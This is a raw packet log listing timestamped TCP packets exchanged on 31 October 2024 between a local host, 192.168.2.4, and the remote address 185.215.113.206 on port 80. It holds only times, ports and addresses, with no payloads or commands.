Oct 31, 2024 11:27:04.599167109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.599190950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.599200964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.599227905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.599242926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.599281073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.599781990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.599864960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746082067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746329069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746381998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746381998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746433973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746443987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746443987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746490955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746501923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746529102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746558905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746582985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746582985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746618986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746634007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746655941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746673107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746709108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746716022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746743917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746762991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746778011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746803045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746831894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746831894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746869087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746898890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746922970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746938944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746958017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.746978045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.746989012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747015953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747025967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747052908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747066021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747078896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747101068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747124910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747136116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747159004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747173071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747189045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747210026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747227907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747257948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747262955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747297049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.747337103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.747353077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750550985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750602961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750612974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750658989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750658989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750691891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750705957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750741005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750745058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750787973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750796080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750827074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750854015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750880957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750881910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750916004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750947952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.750952005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.750967979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751012087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751043081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751055956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751081944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751096010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751096010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751149893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751154900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751187086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751213074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751239061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751241922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751290083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751291990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751347065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751353979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751382113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751403093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751415968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751441956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751451969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751463890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751503944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751512051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751539946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751568079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751574993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751591921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751610994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751633883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751646042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751662016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751682997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751714945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751717091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751735926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751750946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.751764059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.751800060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752377987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752412081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752446890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752479076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752481937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752496958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752521992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752535105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752540112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752587080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752619028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752623081 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752657890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752664089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752685070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752712011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752743006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752747059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752783060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752788067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752810001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752818108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752845049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752854109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752890110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752890110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752921104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752943039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.752950907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.752994061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753010988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753031969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753061056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753067017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753096104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753103018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753129005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753132105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753148079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753186941 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753221989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753222942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753256083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753256083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753290892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753309011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753309011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753324986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753355980 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753382921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753396988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753433943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753468990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753487110 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753488064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753540039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753568888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753592968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753618002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753627062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753664017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753673077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753695011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753699064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753736973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753736973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753770113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753773928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753810883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753829002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753849030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753882885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753895998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753930092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753964901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.753966093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.753987074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754019022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.754044056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754053116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.754090071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.754103899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754103899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754142046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.754175901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754177094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.754194975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754211903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.754246950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.754259109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754276991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.754281998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754314899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.754333973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899215937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899261951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899302959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899372101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899406910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899440050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899491072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899523973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899533987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899533987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899559021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899590969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899590969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899590969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899594069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899615049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899645090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899648905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899684906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899708033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899720907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899738073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899755955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899779081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899806023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899810076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899857044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899863005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899892092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899908066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899928093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899945974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899962902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.899977922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.899997950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900013924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900032997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900044918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900065899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900083065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900113106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900116920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900152922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900165081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900198936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900201082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900233984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900248051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900274038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900289059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900305033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900321007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900350094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900355101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900389910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900404930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900419950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900437117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900456905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900465965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900500059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900506973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900542021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900553942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900576115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900587082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900612116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900623083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900646925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900660038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900686026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900698900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900724888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900731087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900758982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900768042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900804996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900860071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900896072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900909901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900932074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900937080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.900968075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.900979996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.901010990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.901020050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.901055098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.901067019 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.901089907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.901101112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.901125908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.901133060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.901164055 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.901170015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.901197910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.901218891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.901241064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.903578043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903613091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903649092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903665066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.903682947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903703928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.903738022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903738022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.903772116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903786898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.903806925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903820038 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.903862000 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.903913975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903947115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903960943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.903981924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.903991938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904016972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904028893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904062986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904071093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904107094 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904119968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904140949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904155016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904170990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904186010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904203892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904218912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904247046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:04.904254913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:04.904289007 CET	80	49730	185.215.113.206	192.168.2.4
